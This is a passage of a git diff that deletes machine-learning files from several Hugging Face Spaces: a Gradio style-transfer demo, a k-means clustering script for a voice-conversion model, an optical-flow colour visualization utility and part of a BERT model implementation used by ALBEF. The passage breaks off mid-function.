index 04854b362135a6dc4195aff640fd2744bf95461a..0000000000000000000000000000000000000000
--- a/spaces/nightfury/Neural_Style_Transfer/app.py
+++ /dev/null
@@ -1,61 +0,0 @@
-import gradio as gr
-import numpy as np
-from PIL import Image
-import tensorflow as tf
-import tensorflow_hub as hub
-
-# Load model from TF-Hub
-style_transfer_model = hub.load("https://tfhub.dev/google/magenta/arbitrary-image-stylization-v1-256/2")
-
-# function to Stylize the Image or to perform a style transfer
-def do_style_transfer(content_image, style_image):
-    # Convert to float32 numpy array, add batch dimension, and normalize to range [0, 1]. Example using numpy:
-    content_image = tf.convert_to_tensor(content_image, np.float32)[tf.newaxis, ...] / 255.
-    style_image = tf.convert_to_tensor(style_image, np.float32)[tf.newaxis, ...] / 255.
-    # Stylize image
-    output = style_transfer_model(content_image, style_image)
-    stylized_image = output[0]
-    
-    return Image.fromarray(np.uint8(stylized_image[0] * 255))
-
-
-content_image_input = gr.inputs.Image(label="Content Image")
-style_image_input = gr.inputs.Image(shape=(256, 256), label="Style Image")
-
-# Add image examples for users    
-golden_gate = ["example_deadpool2.jpeg", "style_the_great_wave.jpeg"]
-joshua_tree = ["example_deadpool.png", "style_starry_night.jpeg"]
-avatar = ["example_avatar.jpeg", "style_the_scream.jpg"]
-joker = ["example_joker.jpeg", "style_polasticot1.jpeg"]
-einstein = ["example_einstein.jpeg", "style_polasticot2.jpeg"]
-monalisa = ["example_mona1.jpeg", "style_polasticot3.jpeg"]
-paris = ["example_paris.jpeg", "style_vangogh.jpeg"]
-
-# Customize interface
-title = "Fast Neural Style Transfer using TF-Hub"
-description = "<p style='text-align: center'> Demo for Neural Style Transfer using a pretrained Arbitrary Image Stylization model from TensorFlow Hub. To use it, simply upload a content image and style image, or click one of the examples to load them. To learn more about the project, please find the references listed below.</p>"
-article = r"""<b>:: References ::</b>
-<br>
-<a href='https://www.tensorflow.org/hub/tutorials/tf2_arbitrary_image_stylization' target='_blank'>
-Tutorial to implement Fast Neural Style Transfer using the pretrained model from TensorFlow Hub
-</a>
-<br>
-<a href='https://arxiv.org/abs/1705.06830'>
-Exploring the structure of a real-time, arbitrary neural artistic stylization network
-</a>
-<br>
-<center><img src='https://visitor-badge.glitch.me/badge?page_id=dj_arbi_img_stylization' alt='visitor badge'></center>
-"""
-
-content_input = gr.inputs.Image(label="Content Image", source="upload")
-style_input = gr.inputs.Image(label="Style Image", source="upload")
-
-app_interface = gr.Interface(fn=do_style_transfer,
-                             inputs=[content_image_input, style_image_input],
-                             outputs="image",
-                             title=title,
-                             description=description,
-                             examples=[golden_gate,joshua_tree,avatar,joker,einstein,monalisa,paris],
-                             article=article
-                            )
-app_interface.launch()
diff --git a/spaces/niizam/sovits-models/cluster/train_cluster.py b/spaces/niizam/sovits-models/cluster/train_cluster.py
deleted file mode 100644
index 4ac025d400414226e66849407f477ae786c3d5d3..0000000000000000000000000000000000000000
--- a/spaces/niizam/sovits-models/cluster/train_cluster.py
+++ /dev/null
@@ -1,89 +0,0 @@
-import os
-from glob import glob
-from pathlib import Path
-import torch
-import logging
-import argparse
-import torch
-import numpy as np
-from sklearn.cluster import KMeans, MiniBatchKMeans
-import tqdm
-logging.basicConfig(level=logging.INFO)
-logger = logging.getLogger(__name__)
-import time
-import random
-
-def train_cluster(in_dir, n_clusters, use_minibatch=True, verbose=False):
-
-    logger.info(f"Loading features from {in_dir}")
-    features = []
-    nums = 0
-    for path in tqdm.tqdm(in_dir.glob("*.soft.pt")):
-        features.append(torch.load(path).squeeze(0).numpy().T)
-        # print(features[-1].shape)
-    features = np.concatenate(features, axis=0)
-    print(nums, features.nbytes/ 1024**2, "MB , shape:",features.shape, features.dtype)
-    features = features.astype(np.float32)
-    logger.info(f"Clustering features of shape: {features.shape}")
-    t = time.time()
-    if use_minibatch:
-        kmeans = MiniBatchKMeans(n_clusters=n_clusters,verbose=verbose, batch_size=4096, max_iter=80).fit(features)
-    else:
-        kmeans = KMeans(n_clusters=n_clusters,verbose=verbose).fit(features)
-    print(time.time()-t, "s")
-
-    x = {
-            "n_features_in_": kmeans.n_features_in_,
-            "_n_threads": kmeans._n_threads,
-            "cluster_centers_": kmeans.cluster_centers_,
-    }
-    print("end")
-
-    return x
-
-
-if __name__ == "__main__":
-
-    parser = argparse.ArgumentParser()
-    parser.add_argument('--dataset', type=Path, default="./dataset/44k",
-                        help='path of training data directory')
-    parser.add_argument('--output', type=Path, default="logs/44k",
-                        help='path of model output directory')
-
-    args = parser.parse_args()
-
-    checkpoint_dir = args.output
-    dataset = args.dataset
-    n_clusters = 10000
-
-    ckpt = {}
-    for spk in os.listdir(dataset):
-        if os.path.isdir(dataset/spk):
-            print(f"train kmeans for {spk}...")
-            in_dir = dataset/spk
-            x = train_cluster(in_dir, n_clusters, verbose=False)
-            ckpt[spk] = x
-
-    checkpoint_path = checkpoint_dir / f"kmeans_{n_clusters}.pt"
-    checkpoint_path.parent.mkdir(exist_ok=True, parents=True)
-    torch.save(
-        ckpt,
-        checkpoint_path,
-    )
-
-
-    # import cluster
-    # for spk in tqdm.tqdm(os.listdir("dataset")):
-    #     if os.path.isdir(f"dataset/{spk}"):
-    #         print(f"start kmeans inference for {spk}...")
-    #         for feature_path in tqdm.tqdm(glob(f"dataset/{spk}/*.discrete.npy", recursive=True)):
-    #             mel_path = feature_path.replace(".discrete.npy",".mel.npy")
-    #             mel_spectrogram = np.load(mel_path)
-    #             feature_len = mel_spectrogram.shape[-1]
-    #             c = np.load(feature_path)
-    #             c = utils.tools.repeat_expand_2d(torch.FloatTensor(c), feature_len).numpy()
-    #             feature = c.T
-    #             feature_class = cluster.get_cluster_result(feature, spk)
-    #             np.save(feature_path.replace(".discrete.npy", ".discrete_class.npy"), feature_class)
-
-
diff --git a/spaces/oguzakif/video-object-remover/FGT_codes/RAFT/utils/flow_viz.py b/spaces/oguzakif/video-object-remover/FGT_codes/RAFT/utils/flow_viz.py
deleted file mode 100644
index b5e8d79b1ae7ea9707dfa68fdf44691fa6b13108..0000000000000000000000000000000000000000
--- a/spaces/oguzakif/video-object-remover/FGT_codes/RAFT/utils/flow_viz.py
+++ /dev/null
@@ -1,195 +0,0 @@
-# Flow visualization code used from https://github.com/tomrunia/OpticalFlow_Visualization
-
-
-# MIT License
-#
-# Copyright (c) 2018 Tom Runia
-#
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to conditions.
-#
-# Author: Tom Runia
-# Date Created: 2018-08-03
-
-import numpy as np
-
-def make_colorwheel():
-    """
-    Generates a color wheel for optical flow visualization as presented in:
-        Baker et al. "A Database and Evaluation Methodology for Optical Flow" (ICCV, 2007)
-        URL: http://vision.middlebury.edu/flow/flowEval-iccv07.pdf
-
-    Code follows the original C++ source code of Daniel Scharstein.
-    Code follows the the Matlab source code of Deqing Sun.
-
-    Returns:
-        np.ndarray: Color wheel
-    """
-
-    RY = 15
-    YG = 6
-    GC = 4
-    CB = 11
-    BM = 13
-    MR = 6
-
-    ncols = RY + YG + GC + CB + BM + MR
-    colorwheel = np.zeros((ncols, 3))
-    col = 0
-
-    # RY
-    colorwheel[0:RY, 0] = 255
-    colorwheel[0:RY, 1] = np.floor(255*np.arange(0,RY)/RY)
-    col = col+RY
-    # YG
-    colorwheel[col:col+YG, 0] = 255 - np.floor(255*np.arange(0,YG)/YG)
-    colorwheel[col:col+YG, 1] = 255
-    col = col+YG
-    # GC
-    colorwheel[col:col+GC, 1] = 255
-    colorwheel[col:col+GC, 2] = np.floor(255*np.arange(0,GC)/GC)
-    col = col+GC
-    # CB
-    colorwheel[col:col+CB, 1] = 255 - np.floor(255*np.arange(CB)/CB)
-    colorwheel[col:col+CB, 2] = 255
-    col = col+CB
-    # BM
-    colorwheel[col:col+BM, 2] = 255
-    colorwheel[col:col+BM, 0] = np.floor(255*np.arange(0,BM)/BM)
-    col = col+BM
-    # MR
-    colorwheel[col:col+MR, 2] = 255 - np.floor(255*np.arange(MR)/MR)
-    colorwheel[col:col+MR, 0] = 255
-    return colorwheel
-
-
-def flow_uv_to_colors(u, v, convert_to_bgr=False):
-    """
-    Applies the flow color wheel to (possibly clipped) flow components u and v.
-
-    According to the C++ source code of Daniel Scharstein
-    According to the Matlab source code of Deqing Sun
-
-    Args:
-        u (np.ndarray): Input horizontal flow of shape [H,W]
-        v (np.ndarray): Input vertical flow of shape [H,W]
-        convert_to_bgr (bool, optional): Convert output image to BGR. Defaults to False.
-
-    Returns:
-        np.ndarray: Flow visualization image of shape [H,W,3]
-    """
-    flow_image = np.zeros((u.shape[0], u.shape[1], 3), np.uint8)
-    colorwheel = make_colorwheel()  # shape [55x3]
-    ncols = colorwheel.shape[0]
-    rad = np.sqrt(np.square(u) + np.square(v))
-    a = np.arctan2(-v, -u)/np.pi
-    fk = (a+1) / 2*(ncols-1)
-    k0 = np.floor(fk).astype(np.int32)
-    k1 = k0 + 1
-    k1[k1 == ncols] = 0
-    f = fk - k0
-    for i in range(colorwheel.shape[1]):
-        tmp = colorwheel[:,i]
-        col0 = tmp[k0] / 255.0
-        col1 = tmp[k1] / 255.0
-        col = (1-f)*col0 + f*col1
-        idx = (rad <= 1)
-        col[idx]  = 1 - rad[idx] * (1-col[idx])
-        col[~idx] = col[~idx] * 0.75   # out of range
-        # Note the 2-i => BGR instead of RGB
-        ch_idx = 2-i if convert_to_bgr else i
-        flow_image[:,:,ch_idx] = np.floor(255 * col)
-    return flow_image
-
-
-def flow_to_image(flow_uv, clip_flow=None, convert_to_bgr=False):
-    """
-    Expects a two dimensional flow image of shape.
-
-    Args:
-        flow_uv (np.ndarray): Flow UV image of shape [H,W,2]
-        clip_flow (float, optional): Clip maximum of flow values. Defaults to None.
-        convert_to_bgr (bool, optional): Convert output image to BGR. Defaults to False.
-
-    Returns:
-        np.ndarray: Flow visualization image of shape [H,W,3]
-    """
-    assert flow_uv.ndim == 3, 'input flow must have three dimensions'
-    assert flow_uv.shape[2] == 2, 'input flow must have shape [H,W,2]'
-    if clip_flow is not None:
-        flow_uv = np.clip(flow_uv, 0, clip_flow)
-    u = flow_uv[:,:,0]
-    v = flow_uv[:,:,1]
-    rad = np.sqrt(np.square(u) + np.square(v))
-    rad_max = np.max(rad)
-    epsilon = 1e-5
-    u = u / (rad_max + epsilon)
-    v = v / (rad_max + epsilon)
-    return flow_uv_to_colors(u, v, convert_to_bgr)
-
-
-def flow_to_image_noNorm(flow_uvs, clip_flow=None, convert_to_bgr=False):
-    """
-    flow_uvs is a list that accomodates lots of flows
-    All the flows in flow_uvs are normalized by the maximum value of in all the flows of flow_uvs
-    """
-    maximum_value = 0
-    for flow_uv in flow_uvs:
-        u = flow_uv[:, :, 0]
-        v = flow_uv[:, :, 1]
-        rad = np.sqrt(np.square(u) + np.square(v))
-        rad_max = np.max(rad)
-        maximum_value = max(maximum_value, rad_max)
-    assert maximum_value > 0, 'Maximum value must be greater than 0'
-    flow_colors = []
-    for flow_uv in flow_uvs:
-        u = flow_uv[:, :, 0]
-        v = flow_uv[:, :, 1]
-        epsilon = 1e-5
-        u = u / (maximum_value + epsilon)
-        v = v / (maximum_value + epsilon)
-        flow_color = flow_uv_to_colors(u, v, convert_to_bgr)
-        flow_colors.append(flow_color)
-    return flow_colors
-
-
-if __name__ == '__main__':
-    # cvbase.read_flow test
-    import cvbase
-    import cv2
-    import os
-    import glob
-    import argparse
-    parser = argparse.ArgumentParser()
-    parser.add_argument('--flow_path', type=str, default='.')
-    parser.add_argument('--out_path', type=str, default='.')
-    args = parser.parse_args()
-    flow_path = args.flow_path
-    out_path = args.out_path
-    videos = os.listdir(flow_path)
-    video_nums = len(videos)
-    v = 0
-    for video in videos:
-        v += 1
-        # forward flow visualization
-        forward_flows = sorted(glob.glob(os.path.join(flow_path, video, 'forward_flo', '*.flo')))
-        backward_flows = sorted(glob.glob(os.path.join(flow_path, video, 'backward_flo', '*.flo')))
-        assert len(forward_flows) == len(backward_flows), 'Unmatched number of flows, forward flow is {}, backward flow is {}'.format(len(forward_flows), len(backward_flows))
-        forward_out_path = os.path.join(out_path, video, 'forward_flo')
-        backward_out_path = os.path.join(out_path, video, 'backward_flo')
-        if not os.path.exists(forward_out_path):
-            os.makedirs(forward_out_path)
-        if not os.path.exists(backward_out_path):
-            os.makedirs(backward_out_path)
-        for i in range(len(forward_flows)):
-            forward_flow_data = cvbase.read_flow(forward_flows[i])
-            backward_flow_data = cvbase.read_flow(backward_flows[i])
-            forward_flow_image = flow_to_image(forward_flow_data, convert_to_bgr=True)
-            backward_flow_image = flow_to_image(backward_flow_data, convert_to_bgr=True)
-            cv2.imwrite(os.path.join(forward_out_path, '{:05d}.png'.format(i)), forward_flow_image)
-            cv2.imwrite(os.path.join(backward_out_path, '{:05d}.png'.format(i)), backward_flow_image)
-        print('[{}]/[{}] video {} has been processed'.format(v, video_nums, video))
\ No newline at end of file
diff --git a/spaces/omlab/vlchecklist_demo/models/albef/models/xbert.py b/spaces/omlab/vlchecklist_demo/models/albef/models/xbert.py
deleted file mode 100644
index 5b1f7774524bacc0c91a15ec66a8063de3f332a2..0000000000000000000000000000000000000000
--- a/spaces/omlab/vlchecklist_demo/models/albef/models/xbert.py
+++ /dev/null
@@ -1,1916 +0,0 @@
-# coding=utf-8
-# Copyright 2018 The Google AI Language Team Authors and The HuggingFace Inc. team.
-# Copyright (c) 2018, NVIDIA CORPORATION.  All rights reserved.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-"""PyTorch BERT model. """
-
-import math
-import os
-import warnings
-from dataclasses import dataclass
-from typing import Optional, Tuple
-
-import torch
-from torch import Tensor, device, dtype, nn
-import torch.utils.checkpoint
-from torch import nn
-from torch.nn import CrossEntropyLoss, MSELoss
-import torch.nn.functional as F
-
-from transformers.activations import ACT2FN
-from transformers.file_utils import (
-    ModelOutput,
-    add_code_sample_docstrings,
-    add_start_docstrings,
-    add_start_docstrings_to_model_forward,
-    replace_return_docstrings,
-)
-from transformers.modeling_outputs import (
-    BaseModelOutputWithPastAndCrossAttentions,
-    BaseModelOutputWithPoolingAndCrossAttentions,
-    CausalLMOutputWithCrossAttentions,
-    MaskedLMOutput,
-    MultipleChoiceModelOutput,
-    NextSentencePredictorOutput,
-    QuestionAnsweringModelOutput,
-    SequenceClassifierOutput,
-    TokenClassifierOutput,
-)
-from transformers.modeling_utils import (
-    PreTrainedModel,
-    apply_chunking_to_forward,
-    find_pruneable_heads_and_indices,
-    prune_linear_layer,
-)
-from transformers.utils import logging
-from transformers.models.bert.configuration_bert import BertConfig
-
-import transformers
-transformers.logging.set_verbosity_error()
-
-logger = logging.get_logger(__name__)
-
-_CONFIG_FOR_DOC = "BertConfig"
-_TOKENIZER_FOR_DOC = "BertTokenizer"
-
-BERT_PRETRAINED_MODEL_ARCHIVE_LIST = [
-    "bert-base-uncased",
-    "bert-large-uncased",
-    "bert-base-cased",
-    "bert-large-cased",
-    "bert-base-multilingual-uncased",
-    "bert-base-multilingual-cased",
-    "bert-base-chinese",
-    "bert-base-german-cased",
-    "bert-large-uncased-whole-word-masking",
-    "bert-large-cased-whole-word-masking",
-    "bert-large-uncased-whole-word-masking-finetuned-squad",
-    "bert-large-cased-whole-word-masking-finetuned-squad",
-    "bert-base-cased-finetuned-mrpc",
-    "bert-base-german-dbmdz-cased",
-    "bert-base-german-dbmdz-uncased",
-    "cl-tohoku/bert-base-japanese",
-    "cl-tohoku/bert-base-japanese-whole-word-masking",
-    "cl-tohoku/bert-base-japanese-char",
-    "cl-tohoku/bert-base-japanese-char-whole-word-masking",
-    "TurkuNLP/bert-base-finnish-cased-v1",
-    "TurkuNLP/bert-base-finnish-uncased-v1",
-    "wietsedv/bert-base-dutch-cased",
-    # See all BERT models at https://huggingface.co/models?filter=bert
-]
-
-
-def load_tf_weights_in_bert(model, config, tf_checkpoint_path):
-    """Load tf checkpoints in a pytorch model."""
-    try:
-        import re
-
-        import numpy as np
-        import tensorflow as tf
-    except ImportError:
-        logger.error(
-            "Loading a TensorFlow model in PyTorch, requires TensorFlow to be installed. Please see "
-            "https://www.tensorflow.org/install/ for installation instructions."
-        )
-        raise
-    tf_path = os.path.abspath(tf_checkpoint_path)
-    logger.info("Converting TensorFlow checkpoint from {}".format(tf_path))
-    # Load weights from TF model
-    init_vars = tf.train.list_variables(tf_path)
-    names = []
-    arrays = []
-    for name, shape in init_vars:
-        logger.info("Loading TF weight {} with shape {}".format(name, shape))
-        array = tf.train.load_variable(tf_path, name)
-        names.append(name)
-        arrays.append(array)
-
-    for name, array in zip(names, arrays):
-        name = name.split("/")
-        # adam_v and adam_m are variables used in AdamWeightDecayOptimizer to calculated m and v
-        # which are not required for using pretrained model
-        if any(
-            n in ["adam_v", "adam_m", "AdamWeightDecayOptimizer", "AdamWeightDecayOptimizer_1", "global_step"]
-            for n in name
-        ):
-            logger.info("Skipping {}".format("/".join(name)))
-            continue
-        pointer = model
-        for m_name in name:
-            if re.fullmatch(r"[A-Za-z]+_\d+", m_name):
-                scope_names = re.split(r"_(\d+)", m_name)
-            else:
-                scope_names = [m_name]
-            if scope_names[0] == "kernel" or scope_names[0] == "gamma":
-                pointer = getattr(pointer, "weight")
-            elif scope_names[0] == "output_bias" or scope_names[0] == "beta":
-                pointer = getattr(pointer, "bias")
-            elif scope_names[0] == "output_weights":
-                pointer = getattr(pointer, "weight")
-            elif scope_names[0] == "squad":
-                pointer = getattr(pointer, "classifier")
-            else:
-                try:
-                    pointer = getattr(pointer, scope_names[0])
-                except AttributeError:
-                    logger.info("Skipping {}".format("/".join(name)))
-                    continue
-            if len(scope_names) >= 2:
-                num = int(scope_names[1])
-                pointer = pointer[num]
-        if m_name[-11:] == "_embeddings":
-            pointer = getattr(pointer, "weight")
-        elif m_name == "kernel":
-            array = np.transpose(array)
-        try:
-            assert (
-                pointer.shape == array.shape
-            ), f"Pointer shape {pointer.shape} and array shape {array.shape} mismatched"
-        except AssertionError as e:
-            e.args += (pointer.shape, array.shape)
-            raise
-        logger.info("Initialize PyTorch weight {}".format(name))
-        pointer.data = torch.from_numpy(array)
-    return model
-
-
-class BertEmbeddings(nn.Module):
-    """Construct the embeddings from word, position and token_type embeddings."""
-
-    def __init__(self, config):
-        super().__init__()
-        self.word_embeddings = nn.Embedding(config.vocab_size, config.hidden_size, padding_idx=config.pad_token_id)
-        self.position_embeddings = nn.Embedding(config.max_position_embeddings, config.hidden_size)
-        self.token_type_embeddings = nn.Embedding(config.type_vocab_size, config.hidden_size)
-
-        # self.LayerNorm is not snake-cased to stick with TensorFlow model variable name and be able to load
-        # any TensorFlow checkpoint file
-        self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
-        self.dropout = nn.Dropout(config.hidden_dropout_prob)
-
-        # position_ids (1, len position emb) is contiguous in memory and exported when serialized
-        self.register_buffer("position_ids", torch.arange(config.max_position_embeddings).expand((1, -1)))
-        self.position_embedding_type = getattr(config, "position_embedding_type", "absolute")
-        
-        self.config = config
-
-    def forward(
-        self, input_ids=None, token_type_ids=None, position_ids=None, inputs_embeds=None, past_key_values_length=0
-    ):
-        if input_ids is not None:
-            input_shape = input_ids.size()
-        else:
-            input_shape = inputs_embeds.size()[:-1]
-
-        seq_length = input_shape[1]
-
-        if position_ids is None:
-            position_ids = self.position_ids[:, past_key_values_length : seq_length + past_key_values_length]
-
-        if token_type_ids is None:
-            token_type_ids = torch.zeros(input_shape, dtype=torch.long, device=self.position_ids.device)
-
-        if inputs_embeds is None:
-            inputs_embeds = self.word_embeddings(input_ids)
-        
-        token_type_embeddings = self.token_type_embeddings(token_type_ids)  
-
-        embeddings = inputs_embeds + token_type_embeddings
-        if self.position_embedding_type == "absolute":
-            position_embeddings = self.position_embeddings(position_ids)
-            embeddings += position_embeddings
-        embeddings = self.LayerNorm(embeddings)
-        embeddings = self.dropout(embeddings)
-        return embeddings
-
-
-class BertSelfAttention(nn.Module):
-    def __init__(self, config, is_cross_attention):
-        super().__init__()
-        self.config = config
-        if config.hidden_size % config.num_attention_heads != 0 and not hasattr(config, "embedding_size"):
-            raise ValueError(
-                "The hidden size (%d) is not a multiple of the number of attention "
-                "heads (%d)" % (config.hidden_size, config.num_attention_heads)
-            )
-        
-        self.num_attention_heads = config.num_attention_heads
-        self.attention_head_size = int(config.hidden_size / config.num_attention_heads)
-        self.all_head_size = self.num_attention_heads * self.attention_head_size
-
-        self.query = nn.Linear(config.hidden_size, self.all_head_size)
-        if is_cross_attention:
-            self.key = nn.Linear(config.encoder_width, self.all_head_size)
-            self.value = nn.Linear(config.encoder_width, self.all_head_size)
-        else:
-            self.key = nn.Linear(config.hidden_size, self.all_head_size)
-            self.value = nn.Linear(config.hidden_size, self.all_head_size)
-
-        self.dropout = nn.Dropout(config.attention_probs_dropout_prob)
-        self.position_embedding_type = getattr(config, "position_embedding_type", "absolute")
-        if self.position_embedding_type == "relative_key" or self.position_embedding_type == "relative_key_query":
-            self.max_position_embeddings = config.max_position_embeddings
-            self.distance_embedding = nn.Embedding(2 * config.max_position_embeddings - 1, self.attention_head_size)
-        self.save_attention = False   
-            
-    def save_attn_gradients(self, attn_gradients):
-        self.attn_gradients = attn_gradients
-        
-    def get_attn_gradients(self):
-        return self.attn_gradients
-    
-    def save_attention_map(self, attention_map):
-        self.attention_map = attention_map
-        
-    def get_attention_map(self):
-        return self.attention_map
-    
-
-    def transpose_for_scores(self, x):
-        new_x_shape = x.size()[:-1] + (self.num_attention_heads, self.attention_head_size)
-        x = x.view(*new_x_shape)
-        return x.permute(0, 2, 1, 3)
-
-    def forward(
-        self,
-        hidden_states,
-        attention_mask=None,
-        head_mask=None,
-        encoder_hidden_states=None,
-        encoder_attention_mask=None,
-        past_key_value=None,
-        output_attentions=False,
-    ):
-        mixed_query_layer = self.query(hidden_states)
-
-        # If this is instantiated as a cross-attention module, the keys
-        # and values come from an encoder; the attention mask needs to be
-        # such that the encoder's padding tokens are not attended to.
-        is_cross_attention = encoder_hidden_states is not None
-
-
-        if is_cross_attention:
-            key_layer = self.transpose_for_scores(self.key(encoder_hidden_states))
-            value_layer = self.transpose_for_scores(self.value(encoder_hidden_states))
-            attention_mask = encoder_attention_mask
-        elif past_key_value is not None:
-            key_layer = self.transpose_for_scores(self.key(hidden_states))
-            value_layer = self.transpose_for_scores(self.value(hidden_states))
-            key_layer = torch.cat([past_key_value[0], key_layer], dim=2)
-            value_layer = torch.cat([past_key_value[1], value_layer], dim=2)
-        else:
-            key_layer = self.transpose_for_scores(self.key(hidden_states))
-            value_layer = self.transpose_for_scores(self.value(hidden_states))
-
-        query_layer = self.transpose_for_scores(mixed_query_layer)
-
-        past_key_value = (key_layer, value_layer)
-
-        # Take the dot product between "query" and "key" to get the raw attention scores.
-        attention_scores = torch.matmul(query_layer, key_layer.transpose(-1, -2))
-
-        if self.position_embedding_type == "relative_key" or self.position_embedding_type == "relative_key_query":
-            seq_length = hidden_states.size()[1]
-            position_ids_l = torch.arange(seq_length, dtype=torch.long, device=hidden_states.device).view(-1, 1)
-            position_ids_r = torch.arange(seq_length, dtype=torch.long, device=hidden_states.device).view(1, -1)
-            distance = position_ids_l - position_ids_r
-            positional_embedding = self.distance_embedding(distance + self.max_position_embeddings - 1)
-            positional_embedding = positional_embedding.to(dtype=query_layer.dtype)  # fp16 compatibility
-
-            if self.position_embedding_type == "relative_key":
-                relative_position_scores = torch.einsum("bhld,lrd->bhlr", query_layer, positional_embedding)
-                attention_scores = attention_scores + relative_position_scores
-            elif self.position_embedding_type == "relative_key_query":
-                relative_position_scores_query = torch.einsum("bhld,lrd->bhlr", query_layer, positional_embedding)
-                relative_position_scores_key = torch.einsum("bhrd,lrd->bhlr", key_layer, positional_embedding)
-                attention_scores = attention_scores + relative_position_scores_query + relative_position_scores_key
-
-        attention_scores = attention_scores / math.sqrt(self.attention_head_size)
-        if attention_mask is not None:
-            # Apply the attention mask is (precomputed for all layers in BertModel forward() function)
-            attention_scores = attention_scores + attention_mask
-
-        # Normalize the attention scores to probabilities.
-        attention_probs = nn.Softmax(dim=-1)(attention_scores)
-        
-        if is_cross_attention and self.save_attention:
-            self.save_attention_map(attention_probs)
-            attention_probs.register_hook(self.save_attn_gradients)         
-
-        # This is actually dropping out entire tokens to attend to, which might
-        # seem a bit unusual, but is taken from the original Transformer paper.
-        attention_probs_dropped = self.dropout(attention_probs)
-
-        # Mask heads if we want to
-        if head_mask is not None:
-            attention_probs_dropped = attention_probs_dropped * head_mask
-
-        context_layer = torch.matmul(attention_probs_dropped, value_layer)
-
-        context_layer = context_layer.permute(0, 2, 1, 3).contiguous()
-        new_context_layer_shape = context_layer.size()[:-2] + (self.all_head_size,)
-        context_layer = context_layer.view(*new_context_layer_shape)
-
-        outputs = (context_layer, attention_probs) if output_attentions else (context_layer,)
-
-        outputs = outputs + (past_key_value,)
-        return outputs
-
-
-class BertSelfOutput(nn.Module):
-    def __init__(self, config):
-        super().__init__()
-        self.dense = nn.Linear(config.hidden_size, config.hidden_size)
-        self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
-        self.dropout = nn.Dropout(config.hidden_dropout_prob)
-
-    def forward(self, hidden_states, input_tensor):
-        hidden_states = self.dense(hidden_states)
-        hidden_states = self.dropout(hidden_states)
-        hidden_states = self.LayerNorm(hidden_states + input_tensor)
-        return hidden_states
-
-
-class BertAttention(nn.Module):
-    def __init__(self, config, is_cross_attention=False):
-        super().__init__()
-        self.self = BertSelfAttention(config, is_cross_attention)
-        self.output = BertSelfOutput(config)
-        self.pruned_heads = set()
-
-    def prune_heads(self, heads):
-        if len(heads) == 0:
-            return
-        heads, index = find_pruneable_heads_and_indices(
-            heads, self.self.num_attention_heads, self.self.attention_head_size, self.pruned_heads
-        )
-
-        # Prune linear layers
-        self.self.query = prune_linear_layer(self.self.query, index)
-        self.self.key = prune_linear_layer(self.self.key, index)
-        self.self.value = prune_linear_layer(self.self.value, index)
-        self.output.dense = prune_linear_layer(self.output.dense, index, dim=1)
-
-        # Update hyper params and store pruned heads
-        self.self.num_attention_heads = self.self.num_attention_heads - len(heads)
-        self.self.all_head_size = self.self.attention_head_size * self.self.num_attention_heads
-        self.pruned_heads = self.pruned_heads.union(heads)
-
-    def forward(
-        self,
-        hidden_states,
-        attention_mask=None,
-        head_mask=None,
-        encoder_hidden_states=None,
-        encoder_attention_mask=None,
-        past_key_value=None,
-        output_attentions=False,
-    ):
-        self_outputs = self.self(
-            hidden_states,
-            attention_mask,
-            head_mask,
-            encoder_hidden_states,
-            encoder_attention_mask,
-            past_key_value,
-            output_attentions,
-        )
-        attention_output = self.output(self_outputs[0], hidden_states)
-        outputs = (attention_output,) + self_outputs[1:]  # add attentions if we output them
-        return outputs
-
-
-class BertIntermediate(nn.Module):
-    def __init__(self, config):
-        super().__init__()
-        self.dense = nn.Linear(config.hidden_size, config.intermediate_size)
-        if isinstance(config.hidden_act, str):
-            self.intermediate_act_fn = ACT2FN[config.hidden_act]
-        else:
-            self.intermediate_act_fn = config.hidden_act
-
-    def forward(self, hidden_states):
-        hidden_states = self.dense(hidden_states)
-        hidden_states = self.intermediate_act_fn(hidden_states)
-        return hidden_states
-
-
-class BertOutput(nn.Module):
-    def __init__(self, config):
-        super().__init__()
-        self.dense = nn.Linear(config.intermediate_size, config.hidden_size)
-        self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
-        self.dropout = nn.Dropout(config.hidden_dropout_prob)
-
-    def forward(self, hidden_states, input_tensor):
-        hidden_states = self.dense(hidden_states)
-        hidden_states = self.dropout(hidden_states)
-        hidden_states = self.LayerNorm(hidden_states + input_tensor)
-        return hidden_states
-
-
-class BertLayer(nn.Module):
-    def __init__(self, config, layer_num):
-        super().__init__()
-        self.config = config
-        self.chunk_size_feed_forward = config.chunk_size_feed_forward
-        self.seq_len_dim = 1
-        self.attention = BertAttention(config)
-
-        self.has_cross_attention = (layer_num >= config.fusion_layer)
-        if self.has_cross_attention:           
-            self.layer_num = layer_num                
-            self.crossattention = BertAttention(config, is_cross_attention=True)
-        self.intermediate = BertIntermediate(config)
-        self.output = BertOutput(config)
-
-    def forward(
-        self,
-        hidden_states,
-        attention_mask=None,
-        head_mask=None,
-        encoder_hidden_states=None,
-        encoder_attention_mask=None,
-        past_key_value=None,
-        output_attentions=False,
-    ):
-        # decoder uni-directional self-attention cached key/values tuple is at positions 1,2
-        self_attn_past_key_value = past_key_value[:2] if past_key_value is not None else None
-        self_attention_outputs = self.attention(
-            hidden_states,
-            attention_mask,
-            head_mask,
-            output_attentions=output_attentions,
-            past_key_value=self_attn_past_key_value,
-        )
-        attention_output = self_attention_outputs[0]
-
-        outputs = self_attention_outputs[1:-1]
-        present_key_value = self_attention_outputs[-1]
-
-        if self.has_cross_attention:
-            assert encoder_hidden_states is not None, "encoder_hidden_states must be given for cross-attention layers"
-            
-            if type(encoder_hidden_states) == list:
-                cross_attention_outputs = self.crossattention(
-                    attention_output,
-                    attention_mask,
-                    head_mask,
-                    encoder_hidden_states[(self.layer_num-self.config.fusion_layer)%len(encoder_hidden_states)],
-                    encoder_attention_mask[(self.layer_num-self.config.fusion_layer)%len(encoder_hidden_states)],
-                    output_attentions=output_attentions,
-                )    
